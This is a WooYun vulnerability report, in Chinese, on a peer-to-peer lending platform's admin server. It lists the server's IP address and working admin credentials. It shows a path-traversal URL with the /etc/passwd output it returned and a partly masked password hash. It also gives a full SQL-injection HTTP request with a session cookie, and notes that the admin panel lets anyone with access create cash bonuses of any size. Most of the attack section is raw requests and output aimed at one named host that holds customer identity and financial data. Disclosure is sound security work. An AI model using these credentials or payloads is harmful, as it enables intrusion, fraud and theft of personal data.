当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0151842

漏洞标题：p2p金融之乡信金融漏洞打包（4000余客户数千万资金受威胁）

相关厂商：乡信金融

漏洞作者： 默之

提交时间：2015-11-05 09:58

修复时间：2015-12-20 10:00

公开时间：2015-12-20 10:00

漏洞类型：后台弱口令

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-05： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-12-20： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

后台弱口令+任意文件下载+SQL注入
大量用户信息包括身份证号，家庭住址等等信息
更重要的是这个平台自身存在问题，可以后台修改红包的大小和数量，你存100我给你10000的红包也是可以的！

详细说明：

地址:http://42.159.5.146:8080


两个弱口令
admin/password test/111111(test用户竟然也具有管理员身份)

面板.png


#1 用户的充值记录

充值1.png


充值2.png


充值3.png


下面是用户数量，一页10个，共400余页

用户数量.png


信息1.png


信息2.png


添加任意大小红包
红包什么的都可以自己添加，直接加个大点的，就可以休息好几天了（我没有动那个）

红包.png

漏洞证明：

#2 任意文件下载
http://42.159.5.146:8080/admin/showActivityImg.action?fileId=./../../../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
p2padmin:x:500:500::/home/p2padmin:/bin/bash
rtkit:x:498:498:RealtimeKit:/proc:/sbin/nologin
pulse:x:497:497:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
gdm:x:42:42::/var/lib/gdm:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
nginx:x:496:492:nginx user:/var/cache/nginx:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin


shadow中的密码

p2padmin:$6$BP.rFVsn$ewRJ8YOPme6.HplZZ******rSANbqY5vjxYcCEmEJr5cqDlyNdzPkHMClq39LQTKNEGp3LyQxtcmnW3MBJ//:16573:0:99999:7:::


#3 SQL注入

POST /admin/rechargeLogListNew.action HTTP/1.1
Host: 42.159.5.146:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://42.159.5.146:8080/admin/rechargeLogListNew.action
Cookie: JSESSIONID=78D053DF0A85E14EBAC8B98A6C8BA8A2
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 152
pageNumber=9&pageSize=10&beginTime=&closeTime=&nickName=&flag=2&PAGE_NO_KEY=10*&PAGE_COUNT_KEY=180&PAGE_SIZE_KEY=10&PAGE_RECORDCOUNT_KEY=1796


PAGE_NO_KEY参数存在注入，手工玩不好，没整出来，报错注入

sql.png

修复方案：

尽量不要用弱口令，采取复杂的不易被爆破的密码，test用户如果不使用的话就删除了吧

版权声明：转载请注明来源 默之@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝